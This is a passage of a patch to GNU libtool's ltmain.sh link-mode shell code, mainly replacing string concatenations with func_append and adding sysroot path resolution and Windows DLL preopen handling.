++ case `eval $file_magic_cmd \"\$1\" 2>/dev/null | $SED -e 10q` in
+ *import*) : ;;
+ *) false ;;
+ esac
+@@ -4401,9 +5257,9 @@ func_mode_link ()
+ ;;
+ *)
+ if test "$prev" = dlfiles; then
+- dlfiles="$dlfiles $arg"
++ func_append dlfiles " $arg"
+ else
+- dlprefiles="$dlprefiles $arg"
++ func_append dlprefiles " $arg"
+ fi
+ prev=
+ continue
+@@ -4427,7 +5283,7 @@ func_mode_link ()
+ *-*-darwin*)
+ case "$deplibs " in
+ *" $qarg.ltframework "*) ;;
+- *) deplibs="$deplibs $qarg.ltframework" # this is fixed later
++ *) func_append deplibs " $qarg.ltframework" # this is fixed later
+ ;;
+ esac
+ ;;
+@@ -4446,7 +5302,7 @@ func_mode_link ()
+ moreargs=
+ for fil in `cat "$save_arg"`
+ do
+-# moreargs="$moreargs $fil"
++# func_append moreargs " $fil"
+ arg=$fil
+ # A libtool-controlled object.
+
+@@ -4475,7 +5331,7 @@ func_mode_link ()
+
+ if test "$prev" = dlfiles; then
+ if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
+- dlfiles="$dlfiles $pic_object"
++ func_append dlfiles " $pic_object"
+ prev=
+ continue
+ else
+@@ -4487,7 +5343,7 @@ func_mode_link ()
+ # CHECK ME: I think I busted this. -Ossama
+ if test "$prev" = dlprefiles; then
+ # Preload the old-style object.
+- dlprefiles="$dlprefiles $pic_object"
++ func_append dlprefiles " $pic_object"
+ prev=
+ fi
+
+@@ -4557,12 +5413,12 @@ func_mode_link ()
+ if test "$prev" = rpath; then
+ case "$rpath " in
+ *" $arg "*) ;;
+- *) rpath="$rpath $arg" ;;
++ *) func_append rpath " $arg" ;;
+ esac
+ else
+ case "$xrpath " in
+ *" $arg "*) ;;
+- *) xrpath="$xrpath $arg" ;;
++ *) func_append xrpath " $arg" ;;
+ esac
+ fi
+ prev=
+@@ -4574,28 +5430,28 @@ func_mode_link ()
+ continue
+ ;;
+ weak)
+- weak_libs="$weak_libs $arg"
++ func_append weak_libs " $arg"
+ prev=
+ continue
+ ;;
+ xcclinker)
+- linker_flags="$linker_flags $qarg"
+- compiler_flags="$compiler_flags $qarg"
++ func_append linker_flags " $qarg"
++ func_append compiler_flags " $qarg"
+ prev=
+ func_append compile_command " $qarg"
+ func_append finalize_command " $qarg"
+ continue
+ ;;
+ xcompiler)
+- compiler_flags="$compiler_flags $qarg"
++ func_append compiler_flags " $qarg"
+ prev=
+ func_append compile_command " $qarg"
+ func_append finalize_command " $qarg"
+ continue
+ ;;
+ xlinker)
+- linker_flags="$linker_flags $qarg"
+- compiler_flags="$compiler_flags $wl$qarg"
++ func_append linker_flags " $qarg"
++ func_append compiler_flags " $wl$qarg"
+ prev=
+ func_append compile_command " $wl$qarg"
+ func_append finalize_command " $wl$qarg"
+@@ -4686,15 +5542,16 @@ func_mode_link ()
+ ;;
+
+ -L*)
+- func_stripname '-L' '' "$arg"
+- dir=$func_stripname_result
+- if test -z "$dir"; then
++ func_stripname "-L" '' "$arg"
++ if test -z "$func_stripname_result"; then
+ if test "$#" -gt 0; then
+ func_fatal_error "require no space between \`-L' and \`$1'"
+ else
+ func_fatal_error "need path for \`-L' option"
+ fi
+ fi
++ func_resolve_sysroot "$func_stripname_result"
++ dir=$func_resolve_sysroot_result
+ # We need an absolute path.
+ case $dir in
+ [\\/]* | [A-Za-z]:[\\/]*) ;;
+@@ -4706,10 +5563,16 @@ func_mode_link ()
+ ;;
+ esac
+ case "$deplibs " in
+- *" -L$dir "*) ;;
++ *" -L$dir "* | *" $arg "*)
++ # Will only happen for absolute or sysroot arguments
++ ;;
+ *)
+- deplibs="$deplibs -L$dir"
+- lib_search_path="$lib_search_path $dir"
++ # Preserve sysroot, but never include relative directories
++ case $dir in
++ [\\/]* | [A-Za-z]:[\\/]* | =*) func_append deplibs " $arg" ;;
++ *) func_append deplibs " -L$dir" ;;
++ esac
++ func_append lib_search_path " $dir"
+ ;;
+ esac
+ case $host in
+@@ -4718,12 +5581,12 @@ func_mode_link ()
+ case :$dllsearchpath: in
+ *":$dir:"*) ;;
+ ::) dllsearchpath=$dir;;
+- *) dllsearchpath="$dllsearchpath:$dir";;
++ *) func_append dllsearchpath ":$dir";;
+ esac
+ case :$dllsearchpath: in
+ *":$testbindir:"*) ;;
+ ::) dllsearchpath=$testbindir;;
+- *) dllsearchpath="$dllsearchpath:$testbindir";;
++ *) func_append dllsearchpath ":$testbindir";;
+ esac
+ ;;
+ esac
+@@ -4747,7 +5610,7 @@ func_mode_link ()
+ ;;
+ *-*-rhapsody* | *-*-darwin1.[012])
+ # Rhapsody C and math libraries are in the System framework
+- deplibs="$deplibs System.ltframework"
++ func_append deplibs " System.ltframework"
+ continue
+ ;;
+ *-*-sco3.2v5* | *-*-sco5v6*)
+@@ -4758,9 +5621,6 @@ func_mode_link ()
+ # Compiler inserts libc in the correct place for threads to work
+ test "X$arg" = "X-lc" && continue
+ ;;
+- *-*-linux*)
+- test "X$arg" = "X-lc" && continue
+- ;;
+ esac
+ elif test "X$arg" = "X-lc_r"; then
+ case $host in
+@@ -4770,7 +5630,7 @@ func_mode_link ()
+ ;;
+ esac
+ fi
+- deplibs="$deplibs $arg"
++ func_append deplibs " $arg"
+ continue
+ ;;
+
+@@ -4782,8 +5642,8 @@ func_mode_link ()
+ # Tru64 UNIX uses -model [arg] to determine the layout of C++
+ # classes, name mangling, and exception handling.
+ # Darwin uses the -arch flag to determine output architecture.
+- -model|-arch|-isysroot)
+- compiler_flags="$compiler_flags $arg"
++ -model|-arch|-isysroot|--sysroot)
++ func_append compiler_flags " $arg"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+ prev=xcompiler
+@@ -4791,12 +5651,12 @@ func_mode_link ()
+ ;;
+
+ -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe|-threads)
+- compiler_flags="$compiler_flags $arg"
++ func_append compiler_flags " $arg"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+ case "$new_inherited_linker_flags " in
+ *" $arg "*) ;;
+- * ) new_inherited_linker_flags="$new_inherited_linker_flags $arg" ;;
++ * ) func_append new_inherited_linker_flags " $arg" ;;
+ esac
+ continue
+ ;;
+@@ -4863,13 +5723,17 @@ func_mode_link ()
+ # We need an absolute path.
+ case $dir in
+ [\\/]* | [A-Za-z]:[\\/]*) ;;
++ =*)
++ func_stripname '=' '' "$dir"
++ dir=$lt_sysroot$func_stripname_result
++ ;;
+ *)
+ func_fatal_error "only absolute run-paths are allowed"
+ ;;
+ esac
+ case "$xrpath " in
+ *" $dir "*) ;;
+- *) xrpath="$xrpath $dir" ;;
++ *) func_append xrpath " $dir" ;;
+ esac
+ continue
+ ;;
+@@ -4922,8 +5786,8 @@ func_mode_link ()
+ for flag in $args; do
+ IFS="$save_ifs"
+ func_quote_for_eval "$flag"
+- arg="$arg $func_quote_for_eval_result"
+- compiler_flags="$compiler_flags $func_quote_for_eval_result"
++ func_append arg " $func_quote_for_eval_result"
++ func_append compiler_flags " $func_quote_for_eval_result"
+ done
+ IFS="$save_ifs"
+ func_stripname ' ' '' "$arg"
+@@ -4938,9 +5802,9 @@ func_mode_link ()
+ for flag in $args; do
+ IFS="$save_ifs"
+ func_quote_for_eval "$flag"
+- arg="$arg $wl$func_quote_for_eval_result"
+- compiler_flags="$compiler_flags $wl$func_quote_for_eval_result"
+- linker_flags="$linker_flags $func_quote_for_eval_result"
++ func_append arg " $wl$func_quote_for_eval_result"
++ func_append compiler_flags " $wl$func_quote_for_eval_result"
++ func_append linker_flags " $func_quote_for_eval_result"
+ done
+ IFS="$save_ifs"
+ func_stripname ' ' '' "$arg"
+@@ -4968,24 +5832,27 @@ func_mode_link ()
+ arg="$func_quote_for_eval_result"
+ ;;
+
+- # -64, -mips[0-9] enable 64-bit mode on the SGI compiler
+- # -r[0-9][0-9]* specifies the processor on the SGI compiler
+- # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler
+- # +DA*, +DD* enable 64-bit mode on the HP compiler
+- # -q* pass through compiler args for the IBM compiler
+- # -m*, -t[45]*, -txscale* pass through architecture-specific
+- # compiler args for GCC
+- # -F/path gives path to uninstalled frameworks, gcc on darwin
+- # -p, -pg, --coverage, -fprofile-* pass through profiling flag for GCC
+- # @file GCC response files
+- # -tp=* Portland pgcc target processor selection
++ # Flags to be passed through unchanged, with rationale:
++ # -64, -mips[0-9] enable 64-bit mode for the SGI compiler
++ # -r[0-9][0-9]* specify processor for the SGI compiler
++ # -xarch=*, -xtarget=* enable 64-bit mode for the Sun compiler
++ # +DA*, +DD* enable 64-bit mode for the HP compiler
++ # -q* compiler args for the IBM compiler
++ # -m*, -t[45]*, -txscale* architecture-specific flags for GCC
++ # -F/path path to uninstalled frameworks, gcc on darwin
++ # -p, -pg, --coverage, -fprofile-* profiling flags for GCC
++ # @file GCC response files
++ # -tp=* Portland pgcc target processor selection
++ # --sysroot=* for sysroot support
++ # -O*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization
+ -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+- -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*)
++ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
++ -O*|-flto*|-fwhopr*|-fuse-linker-plugin)
+ func_quote_for_eval "$arg"
+ arg="$func_quote_for_eval_result"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+- compiler_flags="$compiler_flags $arg"
++ func_append compiler_flags " $arg"
+ continue
+ ;;
+
+@@ -4997,7 +5864,7 @@ func_mode_link ()
+
+ *.$objext)
+ # A standard object.
+- objs="$objs $arg"
++ func_append objs " $arg"
+ ;;
+
+ *.lo)
+@@ -5028,7 +5895,7 @@ func_mode_link ()
+
+ if test "$prev" = dlfiles; then
+ if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
+- dlfiles="$dlfiles $pic_object"
++ func_append dlfiles " $pic_object"
+ prev=
+ continue
+ else
+@@ -5040,7 +5907,7 @@ func_mode_link ()
+ # CHECK ME: I think I busted this. -Ossama
+ if test "$prev" = dlprefiles; then
+ # Preload the old-style object.
+- dlprefiles="$dlprefiles $pic_object"
++ func_append dlprefiles " $pic_object"
+ prev=
+ fi
+
+@@ -5085,24 +5952,25 @@ func_mode_link ()
+
+ *.$libext)
+ # An archive.
+- deplibs="$deplibs $arg"
+- old_deplibs="$old_deplibs $arg"
++ func_append deplibs " $arg"
++ func_append old_deplibs " $arg"
+ continue
+ ;;
+
+ *.la)
+ # A libtool-controlled library.
+
++ func_resolve_sysroot "$arg"
+ if test "$prev" = dlfiles; then
+ # This library was specified with -dlopen.
+- dlfiles="$dlfiles $arg"
++ func_append dlfiles " $func_resolve_sysroot_result"
+ prev=
+ elif test "$prev" = dlprefiles; then
+ # The library was specified with -dlpreopen.
+- dlprefiles="$dlprefiles $arg"
++ func_append dlprefiles " $func_resolve_sysroot_result"
+ prev=
+ else
+- deplibs="$deplibs $arg"
++ func_append deplibs " $func_resolve_sysroot_result"
+ fi
+ continue
+ ;;
+@@ -5127,7 +5995,7 @@ func_mode_link ()
+ func_fatal_help "the \`$prevarg' option requires an argument"
+
+ if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then
+- eval "arg=\"$export_dynamic_flag_spec\""
++ eval arg=\"$export_dynamic_flag_spec\"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+ fi
+@@ -5144,11 +6012,13 @@ func_mode_link ()
+ else
+ shlib_search_path=
+ fi
+- eval "sys_lib_search_path=\"$sys_lib_search_path_spec\""
+- eval "sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\""
++ eval sys_lib_search_path=\"$sys_lib_search_path_spec\"
++ eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\"
+
+ func_dirname "$output" "/" ""
+ output_objdir="$func_dirname_result$objdir"
++ func_to_tool_file "$output_objdir/"
++ tool_output_objdir=$func_to_tool_file_result
+ # Create the object directory.
+ func_mkdir_p "$output_objdir"
+
+@@ -5169,12 +6039,12 @@ func_mode_link ()
+ # Find all interdependent deplibs by searching for libraries
+ # that are linked more than once (e.g. -la -lb -la)
+ for deplib in $deplibs; do
+- if $opt_duplicate_deps ; then
++ if $opt_preserve_dup_deps ; then
+ case "$libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
+ esac
+ fi
+- libs="$libs $deplib"
++ func_append libs " $deplib"
+ done
+
+ if test "$linkmode" = lib; then
+@@ -5187,9 +6057,9 @@ func_mode_link ()
+ if $opt_duplicate_compiler_generated_deps; then
+ for pre_post_dep in $predeps $postdeps; do
+ case "$pre_post_deps " in
+- *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;;
++ *" $pre_post_dep "*) func_append specialdeplibs " $pre_post_deps" ;;
+ esac
+- pre_post_deps="$pre_post_deps $pre_post_dep"
++ func_append pre_post_deps " $pre_post_dep"
+ done
+ fi
+ pre_post_deps=
+@@ -5256,8 +6126,9 @@ func_mode_link ()
+ for lib in $dlprefiles; do
+ # Ignore non-libtool-libs
+ dependency_libs=
++ func_resolve_sysroot "$lib"
+ case $lib in
+- *.la) func_source "$lib" ;;
++ *.la) func_source "$func_resolve_sysroot_result" ;;
+ esac
+
+ # Collect preopened libtool deplibs, except any this library
+@@ -5267,7 +6138,7 @@ func_mode_link ()
+ deplib_base=$func_basename_result
+ case " $weak_libs " in
+ *" $deplib_base "*) ;;
+- *) deplibs="$deplibs $deplib" ;;
++ *) func_append deplibs " $deplib" ;;
+ esac
+ done
+ done
+@@ -5288,11 +6159,11 @@ func_mode_link ()
+ compile_deplibs="$deplib $compile_deplibs"
+ finalize_deplibs="$deplib $finalize_deplibs"
+ else
+- compiler_flags="$compiler_flags $deplib"
++ func_append compiler_flags " $deplib"
+ if test "$linkmode" = lib ; then
+ case "$new_inherited_linker_flags " in
+ *" $deplib "*) ;;
+- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
++ * ) func_append new_inherited_linker_flags " $deplib" ;;
+ esac
+ fi
+ fi
+@@ -5377,7 +6248,7 @@ func_mode_link ()
+ if test "$linkmode" = lib ; then
+ case "$new_inherited_linker_flags " in
+ *" $deplib "*) ;;
+- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
++ * ) func_append new_inherited_linker_flags " $deplib" ;;
+ esac
+ fi
+ fi
+@@ -5390,7 +6261,8 @@ func_mode_link ()
+ test "$pass" = conv && continue
+ newdependency_libs="$deplib $newdependency_libs"
+ func_stripname '-L' '' "$deplib"
+- newlib_search_path="$newlib_search_path $func_stripname_result"
++ func_resolve_sysroot "$func_stripname_result"
++ func_append newlib_search_path " $func_resolve_sysroot_result"
+ ;;
+ prog)
+ if test "$pass" = conv; then
+@@ -5404,7 +6276,8 @@ func_mode_link ()
+ finalize_deplibs="$deplib $finalize_deplibs"
+ fi
+ func_stripname '-L' '' "$deplib"
+- newlib_search_path="$newlib_search_path $func_stripname_result"
++ func_resolve_sysroot "$func_stripname_result"
++ func_append newlib_search_path " $func_resolve_sysroot_result"
+ ;;
+ *)
+ func_warning "\`-L' is ignored for archives/objects"
+@@ -5415,17 +6288,21 @@ func_mode_link ()
+ -R*)
+ if test "$pass" = link; then
+ func_stripname '-R' '' "$deplib"
+- dir=$func_stripname_result
++ func_resolve_sysroot "$func_stripname_result"
++ dir=$func_resolve_sysroot_result
+ # Make sure the xrpath contains only unique directories.
+ case "$xrpath " in
+ *" $dir "*) ;;
+- *) xrpath="$xrpath $dir" ;;
++ *) func_append xrpath " $dir" ;;
+ esac
+ fi
+ deplibs="$deplib $deplibs"
+ continue
+ ;;
+- *.la) lib="$deplib" ;;
++ *.la)
++ func_resolve_sysroot "$deplib"
++ lib=$func_resolve_sysroot_result
++ ;;
+ *.$libext)
+ if test "$pass" = conv; then
+ deplibs="$deplib $deplibs"
+@@ -5488,11 +6365,11 @@ func_mode_link ()
+ if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then
+ # If there is no dlopen support or we're linking statically,
+ # we need to preload.
+- newdlprefiles="$newdlprefiles $deplib"
++ func_append newdlprefiles " $deplib"
+ compile_deplibs="$deplib $compile_deplibs"
+ finalize_deplibs="$deplib $finalize_deplibs"
+ else
+- newdlfiles="$newdlfiles $deplib"
++ func_append newdlfiles " $deplib"
+ fi
+ fi
+ continue
+@@ -5538,7 +6415,7 @@ func_mode_link ()
+ for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do
+ case " $new_inherited_linker_flags " in
+ *" $tmp_inherited_linker_flag "*) ;;
+- *) new_inherited_linker_flags="$new_inherited_linker_flags $tmp_inherited_linker_flag";;
++ *) func_append new_inherited_linker_flags " $tmp_inherited_linker_flag";;
+ esac
+ done
+ fi
+@@ -5546,8 +6423,8 @@ func_mode_link ()
+ if test "$linkmode,$pass" = "lib,link" ||
+ test "$linkmode,$pass" = "prog,scan" ||
+ { test "$linkmode" != prog && test "$linkmode" != lib; }; then
+- test -n "$dlopen" && dlfiles="$dlfiles $dlopen"
+- test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen"
++ test -n "$dlopen" && func_append dlfiles " $dlopen"
++ test -n "$dlpreopen" && func_append dlprefiles " $dlpreopen"
+ fi
+
+ if test "$pass" = conv; then
+@@ -5558,20 +6435,20 @@ func_mode_link ()
+ func_fatal_error "cannot find name of link library for \`$lib'"
+ fi
+ # It is a libtool convenience library, so add in its objects.
+- convenience="$convenience $ladir/$objdir/$old_library"
+- old_convenience="$old_convenience $ladir/$objdir/$old_library"
++ func_append convenience " $ladir/$objdir/$old_library"
++ func_append old_convenience " $ladir/$objdir/$old_library"
+ elif test "$linkmode" != prog && test "$linkmode" != lib; then
+ func_fatal_error "\`$lib' is not a convenience library"
+ fi
+ tmp_libs=
+ for deplib in $dependency_libs; do
+ deplibs="$deplib $deplibs"
+- if $opt_duplicate_deps ; then
++ if $opt_preserve_dup_deps ; then
+ case "$tmp_libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
+ esac
+ fi
+- tmp_libs="$tmp_libs $deplib"
++ func_append tmp_libs " $deplib"
+ done
+ continue
+ fi # $pass = conv
+@@ -5579,9 +6456,15 @@ func_mode_link ()
+
+ # Get the name of the library we link against.
+ linklib=
+- for l in $old_library $library_names; do
+- linklib="$l"
+- done
++ if test -n "$old_library" &&
++ { test "$prefer_static_libs" = yes ||
++ test "$prefer_static_libs,$installed" = "built,no"; }; then
++ linklib=$old_library
++ else
++ for l in $old_library $library_names; do
++ linklib="$l"
++ done
++ fi
+ if test -z "$linklib"; then
+ func_fatal_error "cannot find name of link library for \`$lib'"
+ fi
+@@ -5598,9 +6481,9 @@ func_mode_link ()
+ # statically, we need to preload. We also need to preload any
+ # dependent libraries so libltdl's deplib preloader doesn't
+ # bomb out in the load deplibs phase.
+- dlprefiles="$dlprefiles $lib $dependency_libs"
++ func_append dlprefiles " $lib $dependency_libs"
+ else
+- newdlfiles="$newdlfiles $lib"
++ func_append newdlfiles " $lib"
+ fi
+ continue
+ fi # $pass = dlopen
+@@ -5622,14 +6505,14 @@ func_mode_link ()
+
+ # Find the relevant object directory and library name.
+ if test "X$installed" = Xyes; then
+- if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
++ if test ! -f "$lt_sysroot$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
+ func_warning "library \`$lib' was moved."
+ dir="$ladir"
+ absdir="$abs_ladir"
+ libdir="$abs_ladir"
+ else
+- dir="$libdir"
+- absdir="$libdir"
++ dir="$lt_sysroot$libdir"
++ absdir="$lt_sysroot$libdir"
+ fi
+ test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes
+ else
+@@ -5637,12 +6520,12 @@ func_mode_link ()
+ dir="$ladir"
+ absdir="$abs_ladir"
+ # Remove this search path later
+- notinst_path="$notinst_path $abs_ladir"
++ func_append notinst_path " $abs_ladir"
+ else
+ dir="$ladir/$objdir"
+ absdir="$abs_ladir/$objdir"
+ # Remove this search path later
+- notinst_path="$notinst_path $abs_ladir"
++ func_append notinst_path " $abs_ladir"
+ fi
+ fi # $installed = yes
+ func_stripname 'lib' '.la' "$laname"
+@@ -5653,20 +6536,46 @@ func_mode_link ()
+ if test -z "$libdir" && test "$linkmode" = prog; then
+ func_fatal_error "only libraries may -dlpreopen a convenience library: \`$lib'"
+ fi
+- # Prefer using a static library (so that no silly _DYNAMIC symbols
+- # are required to link).
+- if test -n "$old_library"; then
+- newdlprefiles="$newdlprefiles $dir/$old_library"
+- # Keep a list of preopened convenience libraries to check
+- # that they are being used correctly in the link pass.
+- test -z "$libdir" && \
+- dlpreconveniencelibs="$dlpreconveniencelibs $dir/$old_library"
+- # Otherwise, use the dlname, so that lt_dlopen finds it.
+- elif test -n "$dlname"; then
+- newdlprefiles="$newdlprefiles $dir/$dlname"
+- else
+- newdlprefiles="$newdlprefiles $dir/$linklib"
+- fi
++ case "$host" in
++ # special handling for platforms with PE-DLLs.
++ *cygwin* | *mingw* | *cegcc* )
++ # Linker will automatically link against shared library if both
++ # static and shared are present. Therefore, ensure we extract
++ # symbols from the import library if a shared library is present
++ # (otherwise, the dlopen module name will be incorrect). We do
++ # this by putting the import library name into $newdlprefiles.
++ # We recover the dlopen module name by 'saving' the la file
++ # name in a special purpose variable, and (later) extracting the
++ # dlname from the la file.
++ if test -n "$dlname"; then
++ func_tr_sh "$dir/$linklib"
++ eval "libfile_$func_tr_sh_result=\$abs_ladir/\$laname"
++ func_append newdlprefiles " $dir/$linklib"
++ else
++ func_append newdlprefiles " $dir/$old_library"
++ # Keep a list of preopened convenience libraries to check
++ # that they are being used correctly in the link pass.
++ test -z "$libdir" && \
++ func_append dlpreconveniencelibs " $dir/$old_library"
++ fi
++ ;;
++ * )
++ # Prefer using a static library (so that no silly _DYNAMIC symbols
++ # are required to link).
++ if test -n "$old_library"; then
++ func_append newdlprefiles " $dir/$old_library"
++ # Keep a list of preopened convenience libraries to check
++ # that they are being used correctly in the link pass.
++ test -z "$libdir" && \
++ func_append dlpreconveniencelibs " $dir/$old_library"
++ # Otherwise, use the dlname, so that lt_dlopen finds it.
++ elif test -n "$dlname"; then
++ func_append newdlprefiles " $dir/$dlname"
++ else
++ func_append newdlprefiles " $dir/$linklib"
++ fi
++ ;;
++ esac
+ fi # $pass = dlpreopen
+
+ if test -z "$libdir"; then
+@@ -5684,7 +6593,7 @@ func_mode_link ()
+
+
+ if test "$linkmode" = prog && test "$pass" != link; then
+- newlib_search_path="$newlib_search_path $ladir"
++ func_append newlib_search_path " $ladir"
+ deplibs="$lib $deplibs"
+
+ linkalldeplibs=no
+@@ -5697,7 +6606,8 @@ func_mode_link ()
+ for deplib in $dependency_libs; do
+ case $deplib in
+ -L*) func_stripname '-L' '' "$deplib"
+- newlib_search_path="$newlib_search_path $func_stripname_result"
++ func_resolve_sysroot "$func_stripname_result"
++ func_append newlib_search_path " $func_resolve_sysroot_result"
+ ;;
+ esac
+ # Need to link against all dependency_libs?
+@@ -5708,12 +6618,12 @@ func_mode_link ()
+ # or/and link against static libraries
+ newdependency_libs="$deplib $newdependency_libs"
+ fi
+- if $opt_duplicate_deps ; then
++ if $opt_preserve_dup_deps ; then
+ case "$tmp_libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
+ esac
+ fi
+- tmp_libs="$tmp_libs $deplib"
++ func_append tmp_libs " $deplib"
+ done # for deplib
+ continue
+ fi # $linkmode = prog...
+@@ -5728,7 +6638,7 @@ func_mode_link ()
+ # Make sure the rpath contains only unique directories.
+ case "$temp_rpath:" in
+ *"$absdir:"*) ;;
+- *) temp_rpath="$temp_rpath$absdir:" ;;
++ *) func_append temp_rpath "$absdir:" ;;
+ esac
+ fi
+
+@@ -5740,7 +6650,7 @@ func_mode_link ()
+ *)
+ case "$compile_rpath " in
+ *" $absdir "*) ;;
+- *) compile_rpath="$compile_rpath $absdir"
++ *) func_append compile_rpath " $absdir" ;;
+ esac
+ ;;
+ esac
+@@ -5749,7 +6659,7 @@ func_mode_link ()
+ *)
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir"
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ ;;
+ esac
+@@ -5774,12 +6684,12 @@ func_mode_link ()
+ case $host in
+ *cygwin* | *mingw* | *cegcc*)
+ # No point in relinking DLLs because paths are not encoded
+- notinst_deplibs="$notinst_deplibs $lib"
++ func_append notinst_deplibs " $lib"
+ need_relink=no
+ ;;
+ *)
+ if test "$installed" = no; then
+- notinst_deplibs="$notinst_deplibs $lib"
++ func_append notinst_deplibs " $lib"
+ need_relink=yes
+ fi
+ ;;
+@@ -5814,7 +6724,7 @@ func_mode_link ()
+ *)
+ case "$compile_rpath " in
+ *" $absdir "*) ;;
+- *) compile_rpath="$compile_rpath $absdir"
++ *) func_append compile_rpath " $absdir" ;;
+ esac
+ ;;
+ esac
+@@ -5823,7 +6733,7 @@ func_mode_link ()
+ *)
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir"
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ ;;
+ esac
+@@ -5835,7 +6745,7 @@ func_mode_link ()
+ shift
+ realname="$1"
+ shift
+- eval "libname=\"$libname_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
+ # use dlname if we got it. it's perfectly good, no?
+ if test -n "$dlname"; then
+ soname="$dlname"
+@@ -5848,7 +6758,7 @@ func_mode_link ()
+ versuffix="-$major"
+ ;;
+ esac
+- eval "soname=\"$soname_spec\""
++ eval soname=\"$soname_spec\"
+ else
+ soname="$realname"
+ fi
+@@ -5877,7 +6787,7 @@ func_mode_link ()
+ linklib=$newlib
+ fi # test -n "$old_archive_from_expsyms_cmds"
+
+- if test "$linkmode" = prog || test "$mode" != relink; then
++ if test "$linkmode" = prog || test "$opt_mode" != relink; then
+ add_shlibpath=
+ add_dir=
+ add=
+@@ -5933,7 +6843,7 @@ func_mode_link ()
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
+ [\\/]*)
+- add_dir="$add_dir -L$inst_prefix_dir$libdir"
++ func_append add_dir " -L$inst_prefix_dir$libdir"
+ ;;
+ esac
+ fi
+@@ -5955,7 +6865,7 @@ func_mode_link ()
+ if test -n "$add_shlibpath"; then
+ case :$compile_shlibpath: in
+ *":$add_shlibpath:"*) ;;
+- *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;;
++ *) func_append compile_shlibpath "$add_shlibpath:" ;;
+ esac
+ fi
+ if test "$linkmode" = prog; then
+@@ -5969,13 +6879,13 @@ func_mode_link ()
+ test "$hardcode_shlibpath_var" = yes; then
+ case :$finalize_shlibpath: in
+ *":$libdir:"*) ;;
+- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
++ *) func_append finalize_shlibpath "$libdir:" ;;
+ esac
+ fi
+ fi
+ fi
+
+- if test "$linkmode" = prog || test "$mode" = relink; then
++ if test "$linkmode" = prog || test "$opt_mode" = relink; then
+ add_shlibpath=
+ add_dir=
+ add=
+@@ -5989,7 +6899,7 @@ func_mode_link ()
+ elif test "$hardcode_shlibpath_var" = yes; then
+ case :$finalize_shlibpath: in
+ *":$libdir:"*) ;;
+- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
++ *) func_append finalize_shlibpath "$libdir:" ;;
+ esac
+ add="-l$name"
+ elif test "$hardcode_automatic" = yes; then
+@@ -6001,12 +6911,12 @@ func_mode_link ()
+ fi
+ else
+ # We cannot seem to hardcode it, guess we'll fake it.
+- add_dir="-L$libdir"
++ add_dir="-L$lt_sysroot$libdir"
+ # Try looking first in the location we're being installed to.
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
+ [\\/]*)
+- add_dir="$add_dir -L$inst_prefix_dir$libdir"
++ func_append add_dir " -L$inst_prefix_dir$libdir"
+ ;;
+ esac
+ fi
+@@ -6083,27 +6993,33 @@ func_mode_link ()
+ temp_xrpath=$func_stripname_result
+ case " $xrpath " in
+ *" $temp_xrpath "*) ;;
+- *) xrpath="$xrpath $temp_xrpath";;
++ *) func_append xrpath " $temp_xrpath";;
+ esac;;
+- *) temp_deplibs="$temp_deplibs $libdir";;
++ *) func_append temp_deplibs " $libdir";;
+ esac
+ done
+ dependency_libs="$temp_deplibs"
+ fi
+
+- newlib_search_path="$newlib_search_path $absdir"
++ func_append newlib_search_path " $absdir"
+ # Link against this library
+ test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs"
+ # ... and its dependency_libs
+ tmp_libs=
+ for deplib in $dependency_libs; do
+ newdependency_libs="$deplib $newdependency_libs"
+- if $opt_duplicate_deps ; then
++ case $deplib in
++ -L*) func_stripname '-L' '' "$deplib"
++ func_resolve_sysroot "$func_stripname_result";;
++ *) func_resolve_sysroot "$deplib" ;;
++ esac
++ if $opt_preserve_dup_deps ; then
+ case "$tmp_libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $func_resolve_sysroot_result "*)
++ func_append specialdeplibs " $func_resolve_sysroot_result" ;;
+ esac
+ fi
+- tmp_libs="$tmp_libs $deplib"
++ func_append tmp_libs " $func_resolve_sysroot_result"
+ done
+
